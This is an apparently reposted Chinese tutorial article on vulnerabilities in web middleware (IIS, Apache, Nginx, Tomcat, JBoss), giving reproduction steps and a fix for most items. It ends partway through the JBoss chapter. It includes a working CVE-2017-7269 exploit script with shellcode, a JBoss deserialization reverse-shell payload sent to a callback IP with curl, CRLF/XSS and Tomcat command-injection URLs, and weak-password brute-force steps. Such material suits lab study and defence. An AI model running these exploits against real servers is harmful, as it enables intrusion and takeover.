Web中間件常見安全漏洞總結
編輯 | Aaron
來源 | https://www.lxhsec.com/2019/03/04/middleware
“ 本文系統地介紹了各種中間常見的安全漏洞，包含IIS/Apache/Nginx/Tomcat/JBoss/Weblogic/GlassFish/WebSphere等，文章目錄詳見如下。”
- 第一章：IIS
- IIS 6 解析漏洞
- IIS 7 解析漏洞
- PUT任意文件寫入
- IIS短文件漏洞
- HTTP.SYS遠程代碼執行 (MS15-034)
- RCE-CVE-2017-7269
- 第二章：Apache
- 未知擴展名解析漏洞
- AddHandler導致的解析漏洞
- Apache HTTPD 換行解析漏洞（CVE-2017-15715）
- 第三章：Nginx
- Nginx配置文件錯誤導致的解析漏洞
- Nginx 空字節任意代碼執行漏洞
- Nginx 文件名邏輯漏洞（CVE-2013-4547）
- Nginx 配置錯誤導致的安全問題
- 第四章：Tomcat
- Tomcat 任意文件寫入（CVE-2017-12615）
- Tomcat 遠程代碼執行（CVE-2019-0232）
- Tomcat + 弱口令 && 后台getshell漏洞
- Tomcat manager App 暴力破解
- 第五章：JBoss
- JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）
- JBoss JMXInvokerServlet 反序列化漏洞
- JBoss EJBInvokerServlet 反序列化漏洞
- JBoss <=4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
- Administration Console 弱口令
- JMX Console未授權訪問
- 第六章：weblogic
- XMLDecoder 反序列化漏洞（CVE-2017-10271 & CVE-2017-3506）
- Weblogic wls9_async_response,wls-wsat 反序列化遠程代碼執行漏洞（CVE-2019-2725）
- Weblogic WLS Core Components 反序列化命令執行漏洞（CVE-2018-2628）
- Weblogic 任意文件上傳漏洞（CVE-2018-2894）
- Weblogic SSRF漏洞 （CVE-2014-4210）
- Weblogic 弱口令 && 后台getshell
- 第七章：GlassFish
- GlassFish Directory Traversal（CVE-2017-1000028）
- GlassFish 后台Getshell
- 第八章：WebSphere
- Java反序列化(CVE-2015-7450）
- 弱口令 && 后台Getshell
1、IIS
IIS是Internet Information Services的縮寫，意為互聯網信息服務，是由微軟公司提供的基於運行Microsoft Windows的互聯網基本服務。IIS目前只適用於Windows系統，不適用於其他操作系統。
IIS 6 解析漏洞
基於文件名，該版本 默認會將 *.asp;.jpg 此種格式的文件名，當成Asp解析，原理是 服務器默認不解析; 號及其后面的內容，相當於截斷。
基於文件夾名，該版本 默認會將 *.asp/目錄下的所有文件當成Asp解析。
另外，IIS6.x除了會將擴展名為.asp的文件解析為asp之外，還默認會將擴展名為.asa，.cdx，.cer解析為asp，
從網站屬性->主目錄->配置 可以看出，他們都是調用了asp.dll進行的解析。
修復建議
由於微軟並不認為這是一個漏洞，也沒有推出IIS 6.0的補丁，因此漏洞需要自己修復。
1、限制上傳目錄執行權限，不允許執行腳本。
2、不允許新建目錄。
3.、上傳的文件需經過重命名(時間戳+隨機數+.jpg等)
IIS 7 解析漏洞
1、安裝IIS7.5，控制面板 -> 程序 -> 打開或關閉windows功能。
2、下載php-5.2.6-win32-installer.msi
3、打開msi，一直下一步來到選擇web server setup的界面，在這里選擇IIS fastcgi,之后一直下一步。
4、打開IIS，管理工具 ->Internet 信息服務(IIS)管理器
5、選擇編輯ISAPI或者CGI限制
添加安裝的php-cgi.exe路徑，描述隨意。
6、返回第五步的第一個圖片位置，點擊處理程序映射，添加如下。
7、phpinfo測試
IIS7.x版本 在Fast-CGI運行模式下,在任意文件，例：test.jpg后面加上/.php，會將test.jpg 解析為php文件。
修復建議
配置cgi.fix_pathinfo(php.ini中)為0並重啟php-cgi程序
結果如下：
PUT任意文件寫入
IIS Server 在 Web 服務擴展中開啟了 WebDAV之后，支持多種請求，配合寫入權限，可造成任意文件寫入。
修復建議
關閉WebDAV 和 寫權限
IIS短文件漏洞
Windows 以 8.3 格式生成與 MS-DOS 兼容的（短）文件名，以允許基於 MS-DOS 或 16 位 Windows的程序訪問這些文件。在cmd下輸入”dir /x”即可看到短文件名的效果。
IIS短文件名產生：
1、當后綴小於4時，短文件名產生需要文件(夾)名前綴字符長度大於等於9位。2、當后綴大於等於4時，文件名前綴字符長度即使為1，也會產生短文件名。
目前IIS支持短文件名猜測的HTTP方法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、TRACE六種。 IIS 8.0之后的版本只能通過OPTIONS和TRACE方法被猜測成功。
復現：
IIS8.0以下版本需要開啟ASP.NET支持，IIS大於等於8.0版本,即使沒有安裝ASP.NET，通過OPTIONS和TRACE方法也可以猜解成功。 以下通過開啟IIS6.0 ASP.NET后進行復現。
當訪問構造的某個存在的短文件名，會返回404；
當訪問構造的某個不存在的短文件名，會返回400；
IIS短文件漏洞局限性 1) 如果文件名本身太短也是無法猜解的； 2) 此漏洞只能確定前6個字符，如果后面的字符太長、包含特殊字符，很難猜解； 3) 如果文件名前6位帶空格，8.3格式的短文件名會補進，和真實文件名不匹配； 4) 如果文件夾名前6位字符帶點”.”，掃描程序會認為是文件而不是文件夾，最終出現誤報； 5) 不支持中文文件名，包括中文文件和中文文件夾。一個中文相當於兩個英文字符，故超過4個中文字會產生短文件名，但是IIS不支持中文猜測。
修復建議
1）從CMD命令關閉NTFS 8.3文件格式的支持
Windows Server 2003：(1代表關閉，0代表開啟） 關閉該功能：fsutil behavior set disable8dot3 1
Windows Server 2008 R2：
查詢是否開啟短文件名功能：fsutil 8dot3name query 關閉該功能：fsutil 8dot3name set 1
不同系統關閉命令稍有區別，該功能默認是開啟的.
2）或從修改注冊表關閉NTFS 8.3文件格式的支持
快捷鍵Win+R打開命令窗口，輸入regedit打開注冊表窗口
找到路徑： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem，將其中的 NtfsDisable8dot3NameCreation這一項的值設為 1，1代表不創建短文件名格式
以上兩種方式修改完成后，均需要重啟系統生效。
Note:此方法只能禁止NTFS8.3格式文件名創建,已經存在的文件的短文件名無法移除，需要重新復制才會消失。 例:將web文件夾的內容拷貝到另一個位置，如c:\www到c:\ww,然后刪除原文件夾，再重命名c:\ww到c:\www。
HTTP.SYS遠程代碼執行 (MS15-034)
影響范圍： Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
復現：
在Windows7上 安裝IIS7.5。 1、訪問。
2、編輯請求頭，增加Range: bytes=0-18446744073709551615字段，若返回碼狀態為416 Requested Range Not Satisfiable，則存在HTTP.SYS遠程代碼執行漏洞
漏洞有點雞肋，配合其他漏洞使用還是可以用用的，具體使用可轉至MSF中。
修復建議
安裝修復補丁（KB3042553）
RCE-CVE-2017-7269
Microsoft Windows Server 2003 R2中的Internet信息服務（IIS）6.0中的WebDAV服務中的ScStoragePathFromUrl函數中的緩沖區溢出允許遠程攻擊者通過以”If：<http：//“開頭的長標頭執行任意代碼PROPFIND請求。
影響范圍： 在Windows 2003 R2（Microsoft(R) Windows(R) Server 2003, Enterprise Edition Service Pack 2）上使用IIS 6.0並開啟WebDAV擴展。
復現： CVE作者給出的exp 計算機彈彈彈！！！ 用python2 運行，結果如下。
任務管理器開啟了calc.exe進程，因為計算器是網絡服務權限打開的，所以我們在桌面上看不見。
這個漏洞有幾個需要注意的地方，如下。
由於作者提供的Exp執行之后就卡在那里了，因此不適合用彈計算機的shellcode進行測試，網上找了個dalao的回顯shellcode來測試。
首先將上圖中python2 IDE運行時產生的Raw類型的HTTP數據包copy保存至記事本中，然后在Burp Repeater模塊 Paste from file。
將shellcode更換成如下：
VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A
結果：
CVE作者給出的Exp是在默認端口，默認域名，默認路徑的情況下適用。
第一個需要注意的是端口和域名綁定問題：
當端口改變時，If頭信息中的兩個url端口要與站點端口一致，如下。
當域名改變時，If頭信息中的兩個url域名要與站點域名一致，且HOST頭也要與站點域名一致。如下
不修改Host將返回502,如下
Note:
1、測試的時候凡是需要修改IIS配置的操作，修改完畢后都需要重啟IIS
2、或者在不超過禁用閾值的前提下結束w3wp進程。
第二個需要注意的是物理路徑問題：
CVE作者提供的Exp是在 默認路徑長度等於19(包括結尾的反斜杠)的情況下適用，IIS默認路徑一般為：c:\inetpub\wwwroot
解決方法：
當路徑長度小於19時需要對padding進行添加。 當路徑長度大於19時需要對padding進行刪除。
ROP和stackpivot前面的padding實際上為UTF8編碼的字符，每三個字節解碼后變為兩個字節的UTF16字符，在保證Exp不出錯的情況下，有0x58個字符是沒用的。所以可以將前0x108個字節刪除，換成0x58個a或b。
原exp 修改后如下：
# coding:utf-8 import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('192.168.124.129',8888)) pay='PROPFIND / HTTP/1.1\r\nHost: www.lxhsec.com\r\nContent-Length: 0\r\n' pay+='If: <http://www.lxhsec.com:8888/aaaaaaa' pay+='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' pay+='\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac' pay+='>' pay+=' (Not <locktoken:write1>) <http://www.lxhsec.com:8888/bbbbbbb' pay+='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' pay+='\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81' shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A' pay+=shellcode pay+='>\r\n\r\n' print pay sock.send(pay) data = sock.recv(80960) print data sock.close
執行：
當路徑長度小於19時，如下，需要增加12個a，b
而實際中路徑常常大於19，需要對padding進行刪除。
當路徑為c:\www\的時候，a有107個，加起來有114個，除去盤符有111個字符，所以可以把Exp的padding增加至111，並逐次進行減少。當長度不匹配時返回500，成功時返回200，通過爆破方式得到物理路徑長度。 成功:
失敗:
當然如果能得到物理路徑，則用114減去物理路徑長度（包括末尾的反斜杠）就是所需的padding長度。
第三個需要注意的是，超時問題。 當exp執行成功一段時間之后（大概十分鍾到二十分鍾左右，其間無論有無訪問），再對這個站點執行exp永遠不會成功，同時返回400。
解決方法： 1.等待w3wp重啟。 2.測試旁站（因為每個池都是獨立的w3wp進程，換一個可能在其他池的旁站進行嘗試）
第四個需要注意的是，多次執行錯誤shellcode
多次執行錯誤的shellcode會覆蓋很多不該覆蓋的代碼，從而導致正確的shellcode執行時也返回500， 提示信息為：參數不正確，也可能什么都不返回。
解決方法： 1.等待w3wp重啟。 2.測試旁站（因為每個池都是獨立的w3wp進程，換一個可能在其他池的旁站進行嘗試）
修復建議：關閉 WebDAV
2、Apache
Apache是世界使用排名第一的Web服務器軟件。它可以運行在幾乎所有廣泛使用的計算機平台上，由於其跨平台和安全性被廣泛使用，是最流行的Web服務器端軟件之一。它快速、可靠並且可通過簡單的API擴充，將Perl/Python等解釋器編譯到服務器中。
未知擴展名解析漏洞
Apache的解析漏洞依賴於一個特性：Apache默認一個文件可以有多個以點分割的后綴，當最右邊的后綴無法識別（不在mime.types文件內），則繼續向左識別，直到識別到合法后綴才進行解析。
復現： 這里使用phpstudy進行復現。 下載地址： http://phpstudy.php.cn/phpstudy/phpStudy(PHP5.2).zip
訪問phpinfo.php.xxx
實戰中可以上傳rar，owf等文件進行利用，如果上傳phpinfo.php.jpg，即使文件名中有.php，也會直接解析為jpg。因為Apache認識.jpg,停止繼續向左識別。
AddHandler導致的解析漏洞
如果運維人員給.php后綴增加了處理器： AddHandler application/x-httpd-php .php 那么，在有多個后綴的情況下，只要一個文件名中含有.php后綴，即被識別成PHP文件，沒必要是最后一個后綴。 利用這個特性，將會造成一個可以繞過上傳白名單的解析漏洞。
復現：
即使最右邊的文件格式是在mime.types文件內，只要文件名中出現.php，就直接被解析為php。
Apache HTTPD 換行解析漏洞（CVE-2017-15715）
影響范圍：2.4.0~2.4.29版本 環境：phpstudy2014 Apache + PHP5.4n
此漏洞形成的根本原因，在於$, 正則表達式中$不僅匹配字符串結尾位置，也可以匹配\n 或 \r
在解析PHP時，1.php\x0A將被按照PHP后綴進行解析，導致繞過一些服務器的安全策略。
<FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch>
測試代碼：
<html> <body> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="text" name="name" /> <input type="submit" value="上傳文件" /> </form> </body> </html> <?php if(isset($_FILES['file'])) { $name = basename($_POST['name']); $ext = pathinfo($name,PATHINFO_EXTENSION); if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) { exit('bad file'); } echo "ok"; move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); } ?>
點擊Go后，效果如下:
相同代碼在Linux下進行測試，可以正常寫入。
訪問：
限制：獲取文件名時不能用$_FILES[‘file’][‘name’]，因為它會自動把換行去掉。
修復建議
1、升級到最新版本
2、或將上傳的文件重命名為為時間戳+隨機數+.jpg的格式並禁用上傳文件目錄執行腳本權限。
3、Nginx
Nginx是一款輕量級的Web 服務器/反向代理服務器及電子郵件（IMAP/POP3）代理服務器，在BSD-like 協議下發行。其特點是占有內存少，並發能力強，事實上nginx的並發能力確實在同類型的網頁服務器中表現較好。
Nginx配置文件錯誤導致的解析漏洞
對於任意文件名，在后面添加/xxx.php（xxx為任意字符）后,即可將文件作為php解析。 例：info.jpg后面加上/xxx.php，會將info.jpg 以php解析。
這里使用phpstudy2014 ，Nginx + PHP5.3n進行復現(以下復現若無特別說明均采用此環境) 結果：
該漏洞是Nginx配置所導致，與Nginx版本無關，下面是常見的漏洞配置。
server {
location ~ \.php$ { root /work/www/test; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; fastcgi_pass unix:/tmp/php-fpm.sock; } }
當攻擊者訪問/info.jpg/xxx.php時， Nginx將查看URL，看到它以.php結尾，並將路徑傳遞給PHP fastcgi處理程序。 Nginx傳給php的路徑為c:/WWW/info.jpg/xxx.php, 在phpinfo中可以查看_SERVER["ORIG_SCRIPT_FILENAME"]得到。
PHP根據URL映射，在服務器上尋找xxx.php文件，但是xxx.php不存在，又由於cgi.fix_pathinfo默認是開啟的，因此PHP 會繼續檢查路徑中存在的文件，並將多余的部分當作 PATH_INFO。接着PHP在文件系統中找到.jpg文件，而后以PHP的形式執行.jpg的內容，並將/xxx.php存儲在 PATH_INFO 后丟棄，因此我們在phpinfo中的$_SERVER['PATH_INFO']看的到值為空。
Note:php的一個選項：cgi.fix_pathinfo，該選項默認開啟，值為1，用於修理路徑， 例如：當php遇到文件路徑”/info.jpg/xxx.php/lxh.sec”時，若”/info.jpg/xxx.php/lxh.sec”不存在，則會去掉最后的”/lxh.sec”，然后判斷”/info.jpg/xxx.php”是否存在, 若存在則將/info.jpg/xxx.php當作文件/info.jpg/xxx.php/lxh.sec，若/info.jpg/xxx.php仍不存在，則繼續去掉xxx.php,依此類推。
修復建議
1、配置cgi.fix_pathinfo(php.ini中)為0並重啟php-cgi程序
結果：
2、或如果需要使用到cgi.fix_pathinfo這個特性（例如：Wordpress），那么可以禁止上傳目錄的執行腳本權限。 或將上傳存儲的內容與網站分離，即站庫分離。
3、或高版本PHP提供了security.limit_extensions這個配置參數，設置security.limit_extensions = .php
Nginx 空字節任意代碼執行漏洞
影響版本：Nginx 0.5*, 0.6*,0.7 <= 0.7.65,0.8 <= 0.8.37
這里提供個打包好的Windows環境 Nginx 0.7.65+php 5.3.2
鏈接：https://pan.baidu.com/s/1FUVJv9iFCcX9Qp5D5AMxKw 提取碼：imdm
解壓后，在Nginx目錄下執行startup.bat
然后在nginx-0.7.65/html/目錄下創建info.jpg,內容為<?php phpinfo();?>,
訪問info.jpg，並抓包，修改為info.jpg..php，在Hex選修卡中將jpg后面的.，更改為00.
Note:該漏洞不受cgi.fix_pathinfo影響，當其為0時，依舊解析。
修復建議
升級Nginx版本
Nginx 文件名邏輯漏洞（CVE-2013-4547）
影響版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
在Windows弄了個環境，后來發現要文件名的后面存在空格，而Windows是不允許存在此類文件的，因此這里復現，使用Vulhub的docker進行復現。
訪問http://your-ip:8080/ 上傳文件
訪問http://your-ip:8080/uploadfiles/info.jpg, 並抓包，修改為info.jpg...php, 在Hex選修卡中將jpg后面的兩個點2e改成20,00 點擊Go,如下。
Note:該漏洞不受cgi.fix_pathinfo影響，當其為0時，依舊解析，在Windows上有所限制。
修復建議
1、設置security.limit_extensions = .php
2、或升級Nginx
Nginx 配置錯誤導致的安全問題
CRLF注入
查看Nginx文檔，可以發現有三個表示uri的變量： 1.$uri 2.$document_uri 3.$request_uri
1和2表示的是解碼以后的請求路徑，不帶參數；3表示的是完整的URI（沒有解碼）
Nginx會將1，2進行解碼，導致傳入%0a%0d即可引入換行符，造成CRLF注入漏洞。
錯誤配置:
訪問： http://127.0.0.1/%0aX-XSS-Protection:%200%0a%0d%0a%0d%3Cimg%20src=1%20onerror=alert(/xss/)%3E 將返回包的Location端口設置為小於80，使得瀏覽器不進行跳轉，執行XSS。
結果：
修復建議
location / { return 302 https://$host$request_uri; }
目錄穿越
Nginx在配置別名（Alias）的時候，如果忘記加/，將造成一個目錄穿越漏洞。
錯誤的配置文件示例（原本的目的是為了讓用戶訪問到C:/WWW/home/目錄下的文件）：
location /files { autoindex on; alias c:/WWW/home/; }
結果：
修復建議
只需要保證location和alias的值都有后綴/或都沒有/這個后綴。
目錄遍歷
當Nginx配置文件中，autoindex 的值為on時，將造成一個目錄遍歷漏洞。
結果:
修復建議
將autoindex 的值為置為off。
add_header被覆蓋
Nginx的配置文件分為Server、Location等一些配置塊，並且存在包含關系，子塊會繼承父塊的一些選項，比如add_header。
如下配置中，整站（父塊中）添加了CSP頭：
正常情況下訪問:
當訪問 /test2時，XSS被觸發。因/test2的location中添加了X-Content-Type-Options頭，導致父塊中的add_header全部失效。
4、Tomcat
Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器，屬於輕量級應用 服務器，在中小型系統和並發訪問用戶不是很多的場合下被普遍使用，是開發和調試JSP 程序的首選。對於一個初學者來說，可以這樣認為，當在一台機器上配置好Apache 服務器，可利用它響應 HTML （ 標准通用標記語言下的一個應用）頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展，但運行時它是獨立運行的，所以當運行tomcat 時，它實際上作為一個與Apache 獨立的進程單獨運行的。
Tomcat 任意文件寫入（CVE-2017-12615）
環境：Tomcat/8.0.30
漏洞本質是Tomcat配置文件/conf/web.xml 配置了可寫（readonly=false），導致我們可以往服務器寫文件：
增加完配置之后，記得重啟Tomcat，效果如下:
當readonly=true時，效果如下。
Tomcat 遠程代碼執行（CVE-2019-0232）
影響范圍：9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 ， 7.0.0 ~ 7.0.93 影響系統：Windows
測試環境： Apache Tomcat v8.5.39 JDK 1.8.0_144
修改配置： web.xml
<init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param>
content.xml
在Tomcat\webapps\ROOT\WEB-INF新建cgi目錄，並創建lxhsec.bat文件，內容任意。
訪問http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir
執行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user
Note:net命令的路徑要寫全，直接寫net user，Tomcat控制台會提示net不是內部命令，也不是可運行的程序，另 必須使用+號連接，使用空格，%2B都會執行失敗，控制台報錯。
修復建議
這個默認是關閉的，如果打開了請關閉，若需使用請升級版本。
Tomcat + 弱口令 && 后台getshell漏洞
環境：Apache Tomcat/7.0.94
在conf/tomcat-users.xml文件中配置用戶的權限：
<tomcat-users> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-users>
正常安裝的情況下，tomcat7.0.94中默認沒有任何用戶，且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下，才可以進行攻擊。
訪問 http://127.0.0.1:8080/manager/html ,輸入弱密碼tomcat:tomcat，登陸后台。
生成war包： jar -cvf lxhspy.war lxhspy.jsp
部署后，訪問 http://127.0.0.1:8080/war包名/包名內文件名, 如下。
修復建議
1、若無必要，取消manager/html功能。
2、若要使用，manager頁面應只允許本地IP訪問
Tomcat manager App 暴力破解
環境：Apache Tomcat/7.0.94
訪問：http://127.0.0.1:8080/manager/html, 輸入密碼，抓包，如下。
剛才輸入的賬號密碼在HTTP字段中的Authorization中，規則為Base64Encode(user:passwd) Authorization: Basic dG9tY2F0OmFkbWlu 解碼之后如下：
將數據包發送到intruder模塊，並標記dG9tY2F0OmFkbWlu。
Payload type選擇 Custom iterator，設置三個position，1為用戶字典，2為:，3為密碼字典，並增加Payload Processing 為Base64-encode如下：
最后取消Palyload Encoding編碼。
結果：
修復建議
1、若無必要，取消manager/html功能。
2、若要使用，manager頁面應只允許本地IP訪問
5、JBoss
jBoss是一個基於J2EE的開發源代碼的應用服務器。JBoss代碼遵循LGPL許可，可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器，支持EJB1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器，一般與Tomcat或Jetty綁定使用。
默認端口:8080,9990
Windows下Jboss安裝，
1、下載http://jbossas.jboss.org/downloads/
2、解壓，我這里解壓后的目錄為：C:\jboss-6.1.0.Final
3、新建環境變量：JBOSS_HOME 值為：C:\jboss-6.1.0.Final 在path中加入：;%JBOSS_HOME%\bin;
4、打開C:\jboss-6.1.0.Final\bin 雙擊run.bat。出現info消息，即配置成功。
Note:注意JDK版本要在1.6~1.7之間，1.8版本 jBoss運行打開JMX Console會出現500錯誤。
jboss默認部署路徑：
C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war
設置外網訪問，將
C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml
<!-- A HTTP/1.1 Connector on port 8080 --> <Connector protocol="HTTP/1.1" port="${jboss.web.http.port}" address="${jboss.bind.address}" redirectPort="${jboss.web.https.port}" />
將address=”${jboss.bind.address}” 設置為address=”0.0.0.0” ,並重啟JBoss
JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）
訪問 /invoker/readonly 返回500，說明頁面存在，此頁面存在反序列化漏洞。
利用工具:JavaDeserH2HC,我們選擇一個Gadget：ReverseShellCommonsCollectionsHashMap，編譯並生成序列化數據：
生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666（ip是nc所在的ip）
利用：
curl http://192.168.31.205:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
JBoss JMXInvokerServlet 反序列化漏洞
訪問 /invoker/JMXInvokerServlet 返回如下，說明接口開放，此接口存在反序列化漏洞。
這里直接利用CVE-2017-12149生成的ser，發送到/invoker/JMXInvokerServlet接口中。 如下：
JBoss EJBInvokerServlet 反序列化漏洞
訪問 /invoker/EJBInvokerServlet 返回如下，說明接口開放，此接口存在反序列化漏洞。
這里直接利用CVE-2017-12149生成的ser，發送到/invoker/EJBInvokerServlet接口中。 如下：
修復建議
1、不需要 http-invoker.sar 組件的用戶可直接刪除此組件。路徑為：C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,刪除后訪問404.
2、或添加如下代碼至 http-invoker.sar 下 web.xml 的 security-constraint 標簽中，對 http invoker 組件進行訪問控制： <url-pattern>/*</url-pattern> 路徑為：C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml
JBoss<=4.x JBossMQ JMS反序列化漏洞（CVE-2017-7504）
環境:jboss-4.2.3
設置外網訪問:在
C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml 將address=”${jboss.bind.address} 改為：address=”0.0.0.0”, 重啟Jboss
<Connector port="8080" address="${jboss.bind.address}" maxThreads="250" maxHttpHeaderSize="8192" emptySessionPath="true" protocol="HTTP/1.1" enableLookups="false" redirectPort="8443" acceptCount="100" connectionTimeout="20000" disableUploadTimeout="true" />
訪問/jbossmq-httpil/HTTPServerILServlet， 返回This is the JBossMQ HTTP-IL，說明頁面存在，此頁面存在反序列化漏洞。
這里直接利用CVE-2017-12149生成的ser，發送到/jbossmq-httpil/HTTPServerILServlet接口中。 如下：
修復建議：升級至最新版。
Administration Console 弱口令
Administration Console管理頁面存在弱口令，admin:admin，登陸后台上傳war包。
1、點擊Web Application (WAR)s
2、Add a new resource，上傳war包
3、點擊創建的war包進入下一層，若狀態為stop，點擊Start按鈕（默認都是start狀態，不需要點擊Start按鈕）
4、訪問http://xx.xx.xx.xx/[warname]/shellname.jsp
修復建議
1、修改密碼 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
